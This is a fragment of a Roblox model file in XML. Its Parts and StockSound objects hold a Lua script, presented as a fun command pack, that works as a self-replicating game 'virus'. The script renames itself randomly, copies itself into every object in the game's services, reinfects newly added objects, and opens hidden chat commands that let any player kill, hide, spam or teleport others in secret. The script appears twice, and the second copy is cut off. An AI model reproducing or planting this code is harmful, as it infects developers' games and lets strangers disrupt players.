fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX844">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-143</X>
					<Y>43.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX845">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX846">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
